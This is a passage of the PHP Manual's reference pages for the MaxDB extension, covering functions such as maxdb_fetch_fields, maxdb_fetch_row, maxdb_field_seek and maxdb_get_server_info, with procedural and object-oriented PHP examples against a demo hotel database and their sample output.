max_length | The maximum width of the field for the result set.
type | The data type used for this field
decimals | The number of decimals used (for integer fields)

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT name, cno from hotel.customer ORDER BY cno";

if ($result = $maxdb->query($query)) {

   /* Get field information for all columns */
   while ($finfo = $result->fetch_field()) {

       printf("Name:     %s\n", $finfo->name);
       printf("Table:    %s\n", $finfo->table);
       printf("max. Len: %d\n", $finfo->max_length);
       printf("Flags:    %d\n", $finfo->flags);
       printf("Type:     %d\n\n", $finfo->type);
   }
   $result->close();
}

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT name, cno from hotel.customer ORDER BY cno";

if ($result = maxdb_query($link, $query)) {

   /* Get field information for all fields */
   while ($finfo = maxdb_fetch_field($result)) {

       printf("Name:     %s\n", $finfo->name);
       printf("Table:    %s\n", $finfo->table);
       printf("max. Len: %d\n", $finfo->max_length);
       printf("Flags:    %d\n", $finfo->flags);
       printf("Type:     %d\n\n", $finfo->type);
   }
   maxdb_free_result($result);
}

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

Name:     NAME
Table:
max. Len: 10
Flags:    -1
Type:     2

Name:     CNO
Table:
max. Len: 4
Flags:    -1
Type:     0

See Also

  • maxdb_num_fields() - Get the number of fields in a result
  • maxdb_fetch_field_direct() - Fetch meta-data for a single field
  • maxdb_fetch_fields() - Returns an array of resources representing the fields in a result set
  • maxdb_field_seek() - Set result pointer to a specified field offset

User Contributed Notes

There are no user contributed notes for this page.
maxdb_fetch_field_direct
maxdb_fetch_fields
MaxDB Functions


Returns an array of resources representing the fields in a result set

maxdb_fetch_field
maxdb_fetch_lengths
MaxDB Functions
PHP Manual

maxdb_fetch_fields

maxdb_result::fetch_fields

(PECL maxdb >= 1.0)

maxdb_fetch_fields -- maxdb_result::fetch_fields — Returns an array of resources representing the fields in a result set

Description

Procedural style

mixed maxdb_fetch_fields ( resource $result )

Object oriented style

mixed maxdb_result::fetch_fields ( void )

This function serves an identical purpose to the maxdb_fetch_field() function with the single difference that, instead of returning one resource at a time for each field, the columns are returned as an array of resources.

Return Values

Returns an array of resources which contains field definition information or FALSE if no field information is available.

Object properties
Property | Description
name | The name of the column
max_length | The maximum width of the field for the result set.
type | The data type used for this field
decimals | The number of decimals used (for integer fields)

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT name, cno from hotel.customer ORDER BY cno";

if ($result = $maxdb->query($query)) {

   /* Get field information for all columns */
   $finfo = $result->fetch_fields();

   foreach ($finfo as $val) {
       printf("Name:     %s\n", $val->name);
       printf("Table:    %s\n", $val->table);
       printf("max. Len: %d\n", $val->max_length);
       printf("Flags:    %d\n", $val->flags);
       printf("Type:     %d\n\n", $val->type);
   }
   $result->close();
}

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT name, cno from hotel.customer ORDER BY cno";

if ($result = maxdb_query($link, $query)) {

   /* Get field information for all columns */
   $finfo = maxdb_fetch_fields($result);

   foreach ($finfo as $val) {
       printf("Name:     %s\n", $val->name);
       printf("Table:    %s\n", $val->table);
       printf("max. Len: %d\n", $val->max_length);
       printf("Flags:    %d\n", $val->flags);
       printf("Type:     %d\n\n", $val->type);
   }
   maxdb_free_result($result);
}

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

Name:     NAME
Table:
max. Len: 10
Flags:    -1
Type:     2

Name:     CNO
Table:
max. Len: 4
Flags:    -1
Type:     0

See Also

  • maxdb_num_fields() - Get the number of fields in a result
  • maxdb_fetch_field() - Returns the next field in the result set
  • maxdb_fetch_field_direct() - Fetch meta-data for a single field

User Contributed Notes

There are no user contributed notes for this page.
maxdb_fetch_field
maxdb_fetch_lengths
MaxDB Functions


Returns the lengths of the columns of the current row in the result set

maxdb_fetch_fields
maxdb_fetch_object
MaxDB Functions
PHP Manual

maxdb_fetch_lengths

maxdb_result::lengths

(PECL maxdb >= 1.0)

maxdb_fetch_lengths -- maxdb_result::lengths — Returns the lengths of the columns of the current row in the result set

Description

Procedural style

array maxdb_fetch_lengths ( resource $result )

Object oriented style

array $maxdb_result->lengths;

The maxdb_fetch_lengths() function returns an array containing the lengths of every column of the current row within the result set represented by the result parameter. If successful, a numerically indexed array representing the lengths of each column is returned or FALSE on failure.

Return Values

An array of integers representing the size of each column (not including any terminating null characters). FALSE if an error occurred.

maxdb_fetch_lengths() is valid only for the current row of the result set. It returns FALSE if you call it before calling maxdb_fetch_row/array/resource or after retrieving all rows in the result.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT * from hotel.customer WHERE cno = 3000";

if ($result = $maxdb->query($query)) {

   $row = $result->fetch_row();

   /* display column lengths */
   foreach ($result->lengths as $i => $val) {
       printf("Field %2d has Length %2d\n", $i+1, $val);
   }
   $result->close();
}

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT * from hotel.customer WHERE cno = 3000";

if ($result = maxdb_query($link, $query)) {

   $row = maxdb_fetch_row($result);

   /* display column lengths */
   foreach (maxdb_fetch_lengths($result) as $i => $val) {
       printf("Field %2d has Length %2d\n", $i+1, $val);
   }
   maxdb_free_result($result);
}

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

Field  1 has Length  4
Field  2 has Length  3
Field  3 has Length  5
Field  4 has Length  6
Field  5 has Length  5
Field  6 has Length 21

User Contributed Notes

There are no user contributed notes for this page.
maxdb_fetch_fields
maxdb_fetch_object
MaxDB Functions


Returns the current row of a result set as an object

maxdb_fetch_lengths
maxdb_fetch_row
MaxDB Functions
PHP Manual

maxdb_fetch_object

maxdb_result::fetch_object

(PECL maxdb >= 1.0)

maxdb_fetch_object -- maxdb_result::fetch_object — Returns the current row of a result set as an object

Description

Procedural style

object maxdb_fetch_object ( object $result )

Object oriented style

object maxdb_result::fetch_object ( void )

The maxdb_fetch_object() will return the current row result set as an object where the attributes of the object represent the names of the fields found within the result set. If no more rows exist in the current result set, NULL is returned.

Return Values

Returns an object that corresponds to the fetched row or NULL if there are no more rows in resultset.

Note: Field names returned by this function are case-sensitive.

Note: This function sets NULL fields to the PHP NULL value.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT name, state FROM hotel.city ORDER by zip";

if ($result = $maxdb->query($query)) {

   /* fetch object array */
   while ($obj = $result->fetch_object()) {
       printf ("%s (%s)\n", $obj->NAME, $obj->STATE);
   }

   /* free result set */
   $result->close();
}

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT name, state FROM hotel.city ORDER by zip";

if ($result = maxdb_query($link, $query)) {

   /* fetch object array */
   while ($obj = maxdb_fetch_object($result)) {
       printf ("%s (%s)\n", $obj->NAME, $obj->STATE);
   }

   /* free result set */
   maxdb_free_result($result);
}

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

New York (NY)
New York (NY)
Long Island (NY)
Albany (NY)
Washington (DC)
Washington (DC)
Washington (DC)
Silver Spring (MD)
Daytona Beach (FL)
Deerfield Beach (FL)
Clearwater (FL)
Cincinnati (OH)
Detroit (MI)
Rosemont (IL)
Chicago (IL)
Chicago (IL)
New Orleans (LA)
Dallas (TX)
Los Angeles (CA)
Hollywood (CA)
Long Beach (CA)
Palm Springs (CA)
Irvine (CA)
Santa Clara (CA)
Portland (OR)

See Also

  • maxdb_fetch_array() - Fetch a result row as an associative, a numeric array, or both
  • maxdb_fetch_assoc() - Fetch a result row as an associative array
  • maxdb_fetch_row() - Get a result row as an enumerated array

User Contributed Notes

There are no user contributed notes for this page.
maxdb_fetch_lengths
maxdb_fetch_row
MaxDB Functions


Get a result row as an enumerated array

maxdb_fetch_object
maxdb_fetch
MaxDB Functions
PHP Manual

maxdb_fetch_row

maxdb_result::fetch_row

(PECL maxdb >= 1.0)

maxdb_fetch_row -- maxdb_result::fetch_row — Get a result row as an enumerated array

Description

Procedural style

mixed maxdb_fetch_row ( resource $result )

Object oriented style

mixed maxdb_result::fetch_row ( void )

Returns an array that corresponds to the fetched row, or NULL if there are no more rows.

maxdb_fetch_row() fetches one row of data from the result set represented by result and returns it as an enumerated array, where each column is stored in an array offset starting from 0 (zero). Each subsequent call to the maxdb_fetch_row() function will return the next row within the result set, or FALSE if there are no more rows.

Return Values

maxdb_fetch_row() returns an array that corresponds to the fetched row or NULL if there are no more rows in result set.

Note: This function sets NULL fields to the PHP NULL value.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT name, state FROM hotel.city ORDER by zip";

if ($result = $maxdb->query($query)) {

   /* fetch enumerated array */
   while ($row = $result->fetch_row()) {
       printf ("%s (%s)\n", $row[0], $row[1]);
   }

   /* free result set */
   $result->close();
}

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT name, state FROM hotel.city ORDER by zip";

if ($result = maxdb_query($link, $query)) {

   /* fetch enumerated array */
   while ($row = maxdb_fetch_row($result)) {
       printf ("%s (%s)\n", $row[0], $row[1]);
   }

   /* free result set */
   maxdb_free_result($result);
}

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

New York (NY)
New York (NY)
Long Island (NY)
Albany (NY)
Washington (DC)
Washington (DC)
Washington (DC)
Silver Spring (MD)
Daytona Beach (FL)
Deerfield Beach (FL)
Clearwater (FL)
Cincinnati (OH)
Detroit (MI)
Rosemont (IL)
Chicago (IL)
Chicago (IL)
New Orleans (LA)
Dallas (TX)
Los Angeles (CA)
Hollywood (CA)
Long Beach (CA)
Palm Springs (CA)
Irvine (CA)
Santa Clara (CA)
Portland (OR)

See Also

  • maxdb_fetch_array() - Fetch a result row as an associative, a numeric array, or both
  • maxdb_fetch_assoc() - Fetch a result row as an associative array
  • maxdb_fetch_resource()

User Contributed Notes

There are no user contributed notes for this page.
maxdb_fetch_object
maxdb_fetch
MaxDB Functions


Alias of maxdb_stmt_fetch

maxdb_fetch_row
maxdb_field_count
MaxDB Functions
PHP Manual

maxdb_fetch

(PECL maxdb 1.0)

maxdb_fetch — Alias of maxdb_stmt_fetch()

Description

This function is an alias of: maxdb_stmt_fetch().

This function alias is deprecated and only exists for backwards compatibility reasons. The use of this function is not recommended, as it may be removed from PHP in the future.

User Contributed Notes

There are no user contributed notes for this page.
maxdb_fetch_row
maxdb_field_count
MaxDB Functions


Returns the number of columns for the most recent query

maxdb_fetch
maxdb_field_seek
MaxDB Functions
PHP Manual

maxdb_field_count

maxdb::field_count

(PECL maxdb >= 1.0)

maxdb_field_count -- maxdb::field_count — Returns the number of columns for the most recent query

Description

Procedural style

int maxdb_field_count ( resource $link )

Object oriented style

int maxdb::field_count ( void )

Returns the number of columns for the most recent query on the connection represented by the link parameter. This function can be useful when using the maxdb_store_result() function to determine if the query should have produced a non-empty result set or not without knowing the nature of the query.

Return Values

An integer representing the number of fields in a result set.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

maxdb_report (MAXDB_REPORT_OFF);
$maxdb->query("DROP TABLE friends");
maxdb_report (MAXDB_REPORT_ERROR);

$maxdb->query( "CREATE TABLE friends (id int, name varchar(20))");

$maxdb->query( "INSERT INTO friends VALUES (1,'Hartmut')");
$maxdb->query( "INSERT INTO friends VALUES (2, 'Ulf')");

if ($maxdb->field_count()) {
   /* this was a select/show or describe query */
   $result = $maxdb->store_result();

   /* process resultset */
   $row = $result->fetch_row();

   /* free resultset */
   $result->close();
}

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

maxdb_report (MAXDB_REPORT_OFF);
maxdb_query($link,"DROP TABLE friends");
maxdb_report (MAXDB_REPORT_ERROR);

maxdb_query($link, "CREATE TABLE friends (id int, name varchar(20))");

maxdb_query($link, "INSERT INTO friends VALUES (1,'Hartmut')");
maxdb_query($link, "INSERT INTO friends VALUES (2, 'Ulf')");

if (maxdb_field_count($link)) {
   /* this was a select/show or describe query */
   $result = maxdb_store_result($link);

   /* process resultset */
   $row = maxdb_fetch_row($result);

   /* free resultset */
   maxdb_free_result($result);
}

/* close connection */
maxdb_close($link);
?>

The above example produces no output.

User Contributed Notes

There are no user contributed notes for this page.
maxdb_fetch
maxdb_field_seek
MaxDB Functions


Set result pointer to a specified field offset

maxdb_field_count
maxdb_field_tell
MaxDB Functions
PHP Manual

maxdb_field_seek

maxdb_result::field_seek

(PECL maxdb >= 1.0)

maxdb_field_seek -- maxdb_result::field_seek — Set result pointer to a specified field offset

Description

Procedural style

bool maxdb_field_seek ( resource $result , int $fieldnr )

Object oriented style

bool maxdb_result::field_seek ( int $fieldnr )

Sets the field cursor to the given offset. The next call to maxdb_fetch_field() will retrieve the field definition of the column associated with that offset.

Note:

To seek to the beginning of a row, pass an offset value of zero.

Return Values

maxdb_field_seek() returns previuos value of field cursor.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT name, cno from hotel.customer ORDER BY cno";

if ($result = $maxdb->query($query)) {

   /* Get field information for 2nd column */
   $result->field_seek(1);
   $finfo = $result->fetch_field();

   printf("Name:     %s\n", $finfo->name);
   printf("Table:    %s\n", $finfo->table);
   printf("max. Len: %d\n", $finfo->max_length);
   printf("Flags:    %d\n", $finfo->flags);
   printf("Type:     %d\n\n", $finfo->type);

   $result->close();
}

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT name, cno from hotel.customer ORDER BY cno";

if ($result = maxdb_query($link, $query)) {

   /* Get field information for 2nd column */
   maxdb_field_seek($result, 1);
   $finfo = maxdb_fetch_field($result);

   printf("Name:     %s\n", $finfo->name);
   printf("Table:    %s\n", $finfo->table);
   printf("max. Len: %d\n", $finfo->max_length);
   printf("Flags:    %d\n", $finfo->flags);
   printf("Type:     %d\n\n", $finfo->type);

   maxdb_free_result($result);
}

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

Name:     NAME
Table:
max. Len: 10
Flags:    -1
Type:     2

See Also

  • maxdb_fetch_field() - Returns the next field in the result set

User Contributed Notes

There are no user contributed notes for this page.
maxdb_field_count
maxdb_field_tell
MaxDB Functions


Get current field offset of a result pointer

maxdb_field_seek
maxdb_free_result
MaxDB Functions
PHP Manual

maxdb_field_tell

maxdb_result::current_field

(PECL maxdb >= 1.0)

maxdb_field_tell -- maxdb_result::current_field — Get current field offset of a result pointer

Description

Procedural style

int maxdb_field_tell ( resource $result )

Object oriented style

int $maxdb_result->current_field;

Returns the position of the field cursor used for the last maxdb_fetch_field() call. This value can be used as an argument to maxdb_field_seek().

Return Values

Returns current offset of field cursor.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT name, cno from hotel.customer ORDER BY cno";

if ($result = $maxdb->query($query)) {

   /* Get field information for all columns */
   while ($finfo = $result->fetch_field()) {

       /* get fieldpointer offset */
       $currentfield = $result->current_field;

       printf("Column    %d:\n", $currentfield);
       printf("Name:     %s\n", $finfo->name);
       printf("Table:    %s\n", $finfo->table);
       printf("max. Len: %d\n", $finfo->max_length);
       printf("Flags:    %d\n", $finfo->flags);
       printf("Type:     %d\n\n", $finfo->type);
   }
   $result->close();
}

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT name, cno from hotel.customer ORDER BY cno";

if ($result = maxdb_query($link, $query)) {

   /* Get field information for all fields */
   while ($finfo = maxdb_fetch_field($result)) {

       /* get fieldpointer offset */
       $currentfield = maxdb_field_tell($result);

       printf("Column    %d:\n", $currentfield);
       printf("Name:     %s\n", $finfo->name);
       printf("Table:    %s\n", $finfo->table);
       printf("max. Len: %d\n", $finfo->max_length);
       printf("Flags:    %d\n", $finfo->flags);
       printf("Type:     %d\n\n", $finfo->type);
   }
   maxdb_free_result($result);
}

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

Column    1:
Name:     NAME
Table:
max. Len: 10
Flags:    -1
Type:     2

Column    2:
Name:     CNO
Table:
max. Len: 4
Flags:    -1
Type:     0

See Also

  • maxdb_fetch_field() - Returns the next field in the result set
  • maxdb_field_seek() - Set result pointer to a specified field offset

User Contributed Notes

There are no user contributed notes for this page.
maxdb_field_seek
maxdb_free_result
MaxDB Functions


Frees the memory associated with a result

maxdb_field_tell
maxdb_get_client_info
MaxDB Functions
PHP Manual

maxdb_free_result

maxdb_result::free

(PECL maxdb >= 1.0)

maxdb_free_result -- maxdb_result::free — Frees the memory associated with a result

Description

Procedural style

void maxdb_free_result ( resource $result )

Object oriented style

void maxdb_result::free ( void )

The maxdb_free_result() function frees the memory associated with the result represented by the result parameter, which was allocated by maxdb_query(), maxdb_store_result() or maxdb_use_result().

Note:

You should always free your result with maxdb_free_result(), when your result resource is not needed anymore.

Return Values

This function doesn't return any value.

See Also

  • maxdb_query() - Performs a query on the database
  • maxdb_stmt_store_result() - Transfers a result set from a prepared statement
  • maxdb_store_result() - Transfers a result set from the last query
  • maxdb_use_result() - Initiate a result set retrieval

User Contributed Notes

There are no user contributed notes for this page.
maxdb_field_tell
maxdb_get_client_info
MaxDB Functions


Returns the MaxDB client version as a string

maxdb_free_result
maxdb_get_client_version
MaxDB Functions
PHP Manual

maxdb_get_client_info

(PECL maxdb >= 1.0)

maxdb_get_client_info — Returns the MaxDB client version as a string

Description

string maxdb_get_client_info ( void )

The maxdb_get_client_info() function is used to return a string representing the client version being used in the MaxDB extension.

Return Values

A string that represents the MaxDB client library version

Examples

Example #1 maxdb_get_client_info

<?php

/* We don't need a connection to determine
   the version of MaxDB client library */

printf("Client library version: %s\n", maxdb_get_client_info());
?>

The above example will output something similar to:

Client library version: libSQLDBC <...>

See Also

  • maxdb_get_client_version() - Get MaxDB client info
  • maxdb_get_server_info() - Returns the version of the MaxDB server
  • maxdb_get_server_version() - Returns the version of the MaxDB server as an integer

User Contributed Notes

There are no user contributed notes for this page.
maxdb_free_result
maxdb_get_client_version
MaxDB Functions


Get MaxDB client info

maxdb_get_client_info
maxdb_get_host_info
MaxDB Functions
PHP Manual

maxdb_get_client_version

(PECL maxdb >= 1.0)

maxdb_get_client_version — Get MaxDB client info

Description

int maxdb_get_client_version ( void )

Returns client version number as an integer.

Return Values

A number that represents the MaxDB client library version in format: main_version*10000 + minor_version *100 + sub_version. For example, 7.5.0 is returned as 70500.

This is useful to quickly determine the version of the client library to know if some capability exists.

Examples

Example #1 maxdb_get_client_version

<?php

/* We don't need a connection to determine
   the version of MaxDB client library */

printf("Client library version: %d\n", maxdb_get_client_version());
?>

The above example will output something similar to:

Client library version: 7.<...>

See Also

  • maxdb_get_client_info() - Returns the MaxDB client version as a string
  • maxdb_get_server_info() - Returns the version of the MaxDB server
  • maxdb_get_server_version() - Returns the version of the MaxDB server as an integer

User Contributed Notes

There are no user contributed notes for this page.
maxdb_get_client_info
maxdb_get_host_info
MaxDB Functions


Returns a string representing the type of connection used

maxdb_get_client_version
maxdb_get_metadata
MaxDB Functions
PHP Manual

maxdb_get_host_info

maxdb::get_host_info

(PECL maxdb >= 1.0)

maxdb_get_host_info -- maxdb::get_host_info — Returns a string representing the type of connection used

Description

Procedural style

string maxdb_get_host_info ( resource $link )

Object oriented style

string $maxdb->host_info;

The maxdb_get_host_info() function returns a string describing the connection represented by the link parameter is using.

Return Values

A character string representing the server hostname and the connection type.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* print host information */
printf("Host info: %s\n", $maxdb->host_info);

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* print host information */
printf("Host info: %s\n", maxdb_get_host_info($link));

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

Host info: localhost

See Also

  • maxdb_get_proto_info() - Returns the version of the MaxDB protocol used

User Contributed Notes

There are no user contributed notes for this page.
maxdb_get_client_version
maxdb_get_metadata
MaxDB Functions


Alias of maxdb_stmt_result_metadata

maxdb_get_host_info
maxdb_get_proto_info
MaxDB Functions
PHP Manual

maxdb_get_metadata

(PECL maxdb 1.0)

maxdb_get_metadata — Alias of maxdb_stmt_result_metadata()

Description

This function is an alias of: maxdb_stmt_result_metadata().

This function alias is deprecated and only exists for backwards compatibility reasons. The use of this function is not recommended, as it may be removed from PHP in the future.

User Contributed Notes

There are no user contributed notes for this page.
maxdb_get_host_info
maxdb_get_proto_info
MaxDB Functions


Returns the version of the MaxDB protocol used

maxdb_get_metadata
maxdb_get_server_info
MaxDB Functions
PHP Manual

maxdb_get_proto_info

maxdb::protocol_version

(PECL maxdb >= 1.0)

maxdb_get_proto_info -- maxdb::protocol_version — Returns the version of the MaxDB protocol used

Description

Procedural style

int maxdb_get_proto_info ( resource $link )

Object oriented style

string $maxdb->protocol_version;

Returns an integer representing the MaxDB protocol version used by the connection represented by the link parameter.

Return Values

Returns an integer representing the protocol version (constant 10).

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* print protocol version */
printf("Protocol version: %d\n", $maxdb->protocol_version);

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* print protocol version */
printf("Protocol version: %d\n", maxdb_get_proto_info($link));

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

Protocol version: 10

See Also

  • maxdb_get_host_info() - Returns a string representing the type of connection used

User Contributed Notes

There are no user contributed notes for this page.
maxdb_get_metadata
maxdb_get_server_info
MaxDB Functions


Returns the version of the MaxDB server

maxdb_get_proto_info
maxdb_get_server_version
MaxDB Functions
PHP Manual

maxdb_get_server_info

maxdb::server_info

(PECL maxdb >= 1.0)

maxdb_get_server_info -- maxdb::server_info — Returns the version of the MaxDB server

Description

Procedural style

string maxdb_get_server_info ( resource $link )

Object oriented style

string $maxdb->server_info;

Returns a string representing the version of the MaxDB server that the MaxDB extension is connected to (represented by the link parameter).

Return Values

A character string representing the server version.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* print server version */
printf("Server version: %s\n", $maxdb->server_info);

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* print server version */
printf("Server version: %s\n", maxdb_get_server_info($link));

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

Server version: Kernel    7<...>

See Also

  • maxdb_get_client_info() - Returns the MaxDB client version as a string
  • maxdb_get_client_version() - Get MaxDB client info
  • maxdb_get_server_version() - Returns the version of the MaxDB server as an integer

User Contributed Notes

There are no user contributed notes for this page.
maxdb_get_proto_info
maxdb_get_server_version
MaxDB Functions


Returns the version of the MaxDB server as an integer

maxdb_get_server_info
maxdb_info
MaxDB Functions
PHP Manual

maxdb_get_server_version

maxdb::server_version

(PECL maxdb >= 1.0)

maxdb_get_server_version -- maxdb::server_version — Returns the version of the MaxDB server as an integer

Description

Procedural style

int maxdb_get_server_version ( resource $link )

Object oriented style

int $maxdb->server_version;

The maxdb_get_server_version() function returns the version of the server connected to (represented by the link parameter) as an integer.

The form of this version number is main_version * 10000 + minor_version * 100 + sub_version (i.e. version 7.5.0 is 70500).

Return Values

An integer representing the server version.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* print server version */
printf("Server version: %d\n", $maxdb->server_version);

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* print server version */
printf("Server version: %d\n", maxdb_get_server_version($link));

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

Server version: 7<...>

See Also

  • maxdb_get_client_info() - Returns the MaxDB client version as a string
  • maxdb_get_client_version() - Get MaxDB client info
  • maxdb_get_server_info() - Returns the version of the MaxDB server

User Contributed Notes

There are no user contributed notes for this page.
maxdb_get_server_info
maxdb_info
MaxDB Functions


Retrieves information about the most recently executed query

maxdb_get_server_version
maxdb_init
MaxDB Functions
PHP Manual

maxdb_info

maxdb::info

(PECL maxdb >= 1.0)

maxdb_info -- maxdb::info — Retrieves information about the most recently executed query

Description

Procedural style

string maxdb_info ( resource $link )

Object oriented style

string $maxdb->info;

The maxdb_info() function returns a string providing information about the last query executed. The nature of this string is provided below:

Possible maxdb_info return values
Query type | Example result string
INSERT INTO...SELECT... | Records: 100 Duplicates: 0 Warnings: 0
INSERT INTO...VALUES (...),(...),(...) | Records: 3 Duplicates: 0 Warnings: 0
LOAD DATA INFILE ... | Records: 1 Deleted: 0 Skipped: 0 Warnings: 0
ALTER TABLE ... | Records: 3 Duplicates: 0 Warnings: 0
UPDATE ... | Rows matched: 40 Changed: 40 Warnings: 0

Note:

Queries which do not fall into one of the above formats are not supported. In these situations, maxdb_info() will return an empty string.

Return Values

A character string representing additional information about the most recently executed query.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$maxdb->query("CREATE TABLE temp.t1 LIKE hotel.city");

/* INSERT INTO .. SELECT */
$maxdb->query("INSERT INTO temp.t1 SELECT * FROM hotel.city");
printf("%s\n", $maxdb->info);

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

maxdb_query($link, "CREATE TABLE temp.t1 LIKE hotel.city");

/* INSERT INTO .. SELECT */
maxdb_query($link, "INSERT INTO temp.t1 SELECT * FROM hotel.city");
printf("%s\n", maxdb_info($link));

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

Records: 25 Duplicates: 0 Warnings: 0

See Also

  • maxdb_affected_rows() - Gets the number of affected rows in a previous MaxDB operation
  • maxdb_warning_count() - Returns the number of warnings from the last query for the given link
  • maxdb_num_rows() - Gets the number of rows in a result

User Contributed Notes

There are no user contributed notes for this page.
maxdb_get_server_version
maxdb_init
MaxDB Functions


Initializes MaxDB and returns an resource for use with maxdb_real_connect

maxdb_info
maxdb_insert_id
MaxDB Functions
PHP Manual

maxdb_init

(PECL maxdb >= 1.0)

maxdb_init — Initializes MaxDB and returns an resource for use with maxdb_real_connect

Description

resource maxdb_init ( void )

Allocates or initializes a MaxDB resource suitable for maxdb_options() and maxdb_real_connect().

Note:

